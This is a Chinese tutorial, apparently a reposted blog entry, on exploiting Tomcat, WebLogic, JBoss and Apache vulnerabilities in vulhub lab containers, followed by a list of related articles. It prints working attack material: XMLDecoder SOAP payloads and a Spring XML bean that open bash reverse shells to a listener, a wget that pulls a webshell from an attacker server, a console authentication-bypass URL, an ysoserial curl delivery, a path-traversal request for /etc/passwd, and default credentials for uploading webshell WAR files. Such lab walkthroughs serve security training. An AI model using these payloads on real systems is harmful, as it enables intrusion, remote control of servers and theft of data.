当前位置: 首页 > news >正文

Tomcat,WebLogic等中间件漏洞实战解析

1.tomact

CVE-2017-12615

首先启动环境,这里所有的漏洞都是在vulhub中的

然后去访问我们的网站

点击打开哥斯拉去生成一个jsp木马

然后打开抓包,刷新一下页面,修改put方法将我们的木马上传一下,这里需要在jsp后加一个/,来绕过对jsp文件的上传限制

然后去访问一下我们上传的1.jsp

可以看到访问成功,我们去用哥斯拉链接一下

后台弱口令部署war包

这里需要启动tomcat8,我们cd到tomcat8中启动一下环境

然后去访问一下

通过弱口令我们登录到后台,点击managerapp,账号密码都为tomcat

登录好后我们将我们上一关所生成的jsp木马压缩一下,修改一下后缀

点击一下,图示所指向的list,然后就可以在下方上传文件了,将我们的war包上传上去

访问一下我们的war包中的jsp文件

最后使用哥斯拉连接即可

CVE-2020-1938

首先cd到我们的CVE-2020-1938中,然后启动环境

这里我们使用脚本来进行

cmd运行我们的脚本文件,注意这里需要用到python2

运行我们的脚本

python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶场的IP

就可以读取到文件了

2.WebLogic

后台弱口令getshell

首先cd到我们的靶场并启动

cd vulhub-master/weblogic/weak_password
docker-compose up -d

访问一下7001端口,这个页面就是开启成功了

我们访问一下console目录,等一会我们的后台登录页面就启动好了

使用弱口令登录即可

weblogic Oracle@123
然后就可以跳到后台页面,这里我们点击部署然后点安装
会跳转到上传的界面
点击上载文件,然后浏览
上传我们之前的war包即可
然后一直点击下一步,到这个页面时点击安装即可
然后就可以看到我们的war包已经被上传成功
然后访问1/1.jsp路径即可访问到我们的jsp木马,使用哥斯拉连接即可

CVE-2017-3506

这个漏洞依旧使用我们上个漏洞开的环境,去访问一下/wls-wsat/CoordinatorPortType,如果存在即有这个漏洞

然后我们就可以构造post请求来反弹shell了,刷新页面然后抓包

然后右键修改请求方法为post方法,这里我们发送到重放器中便于操作

然后添加我们的请求字段同时修改一下请求格式

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/监听机的IP/监听的端口 0&gt;&amp;1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

然后开启监听,点击发送即可反弹shell

CVE-2019-2725

这一个漏洞和上一个的步骤都差不多,我们依旧是利用weak_password这个容器

首先我们拼接这个字段/_async/AsyncResponseService来验证一下漏洞是否存在

出现上述页面即为存在,然后和上一个一样,刷新然后开启抓包

修改为POST请求然后发送到重放器,写入我们的请求包,修改类型和上一个一样为text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://服务器IP/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

注意这里,我们需要在我们的服务器上开启http服务,将我们的木马文件改为txt模式,上传到我们的网站中,让他从我们的网站中下载我们的木马文件,并保存为22.jsp

点击发送即可,可以根据这里的完成判断有没有上传成功

然后访问这个路径即可访问到我们的木马文件,然后去哥斯拉连接即可

CVE-2018-2628

首先启动环境

访问一下

这里我们直接利用工具箱

CVE-2018-2894

首先启动环境

cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d

然后我们需要先获取一下密码,因为这一关的密码是随机生成的

然后使用我们的密码去登录即可

然后进入到后台界面,点击base然后再点击高级

然后勾选这个

然后在IP端口后拼接这个目录

修改箭头所指的位置为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交,然后点击安全,点击添加

然后上传我们的木马脚本文件

F12查看一下ID在代码中所对应的值

然后去拼接路径,就可以访问到我们的木马,哥斯拉连接即可

CVE-2020-14882

首先启动环境

cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d

通过这个连接可以访问管理控制台,但是需要我们登录

http://IP:端口/console/login/LoginForm.jsp
那么我们可以利用拼接这个路径来进行绕过登录
/console/css/%252e%252e%252fconsole.portal
然后我们可以利用另一个漏洞来远程加载xml文件获取shell通过这个路径来
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

连接两个漏洞

然后就可以构造一个恶意类让他去访问

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/监听的IP/8888 0>&1]]></value></list></constructor-arg></bean></beans>

然后通过这个让我们的靶场去访问这个实体类从而反弹shell

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启http服务的ip/1.xml")

3.Jboss

CVE-2015-7501

启动环境

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

然后去访问

然后拼接这个地址

/invoker/JMXInvokerServlet,如果如下图所示即为存在环境
这里我们利用ysoserial工具来进行操作
https://github.com/frohoff/ysoserial
将反弹shell的语句进行base64编码
然后利用我们的工具生成一个ser文件
然后开启监听,执行这段命令,即可反弹shell
curl http://靶场IP/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

启动环境

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d
访问页面
http://靶场IP:端口/jbossmq-httpil/HTTPServerILServlet
然后利用我们的脚本进行攻击
即可反弹shell

CVE-2017-12149

启动环境

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个地址,如果页面是这个样子即为存在漏洞

http://靶场IP:端口/invoker/readonly

然后利用我们的工具即可https://github.com/yunxu1/jboss-_CVE-2017-12149

Administration Console弱口令

环境沿用上一个

拼接路径去访问一下登录界面

admin vulhub账号和密码,登陆后点击
上传我们之前的war包,然后步骤一样,访问然后连接

低版本JMX Console未授权

启动环境

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

访问这个

账号密码都是admin,登录之后选择这个

然后开启一个http服务,然后将我们的war包上传到网站根目录,将连接写在value栏

注意这里制作war时需要注意,压缩包的名字必须为英文,且与里面的jsp文件不能同名

然后去访问,然后连接哥斯拉即可

⾼版本JMX Console未授权

启动环境

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个路径

账号密码admin vulhub,点击这两个地方

然后在这里,和上一关一样,上传我们服务器的war包

然后访问,哥斯拉连接即可

4.Apache

CVE-2021-41773

这一关需要我们拉取环境

docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

然后用命令即可查看网站上的文件

curl http://靶场IP/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

http://www.lryc.cn/news/606185.html

相关文章:

  • C++异常处理的成本:理解与优化
  • MySQL转PostgreSQL迁移实战:从语法错误到完美兼容
  • AI学习笔记三十三:基于Opencv的单目标跟踪
  • vue3 v-html绑定数据,点击sub实现popover效果
  • STM32 USB 设备中间件 tinyusb
  • 超宽带测距+测角+无线通信一体化模组:智能门锁、智能遥控器、AR头戴、智能穿戴
  • 融媒体中心网络安全应急预案(通用技术框架)
  • Vmvare虚拟机的网络不可达问题
  • Spring Boot 异常处理:从全局捕获到优化用户体验!
  • 爱心烟花浪漫立方体轮播图 - 用代码表达爱意
  • 为Github Copilot创建自定义指令/说明/注意事项
  • 决策树实现回归任务
  • 基于Spring Boot实现中医医学处方管理实践
  • 【Agent,智能,workflow】
  • 【RH134 问答题】第 13 章 运行容器
  • uvicorn 启动重复加载 多次加载
  • [12月考试] B
  • Python 数据科学与可视化工具箱 (一) - 数组属性:`shape`, `dtype`, `ndim`, `size`
  • day28_2025-07-31
  • Valgrind终极指南:深入内存安全与性能瓶颈检测
  • 进程控制:从创建到终结的完整指南
  • 解决音视频开发中 因mp4中断 无法播放的问题
  • [特殊字符] 数据可视化结合 three.js:让 3D 呈现更精准,3 个优化经验谈
  • 前端框架Vue3(三)——路由和pinia
  • RabbitMQ安装与介绍
  • Disruptor高性能基石:Sequence并发优化解析
  • 去重、top_n()、pull()、格式化
  • 数据结构第4问:什么是栈?
  • BR/EDR PHY帧结构及其具体内容
  • 51c自动驾驶~合集12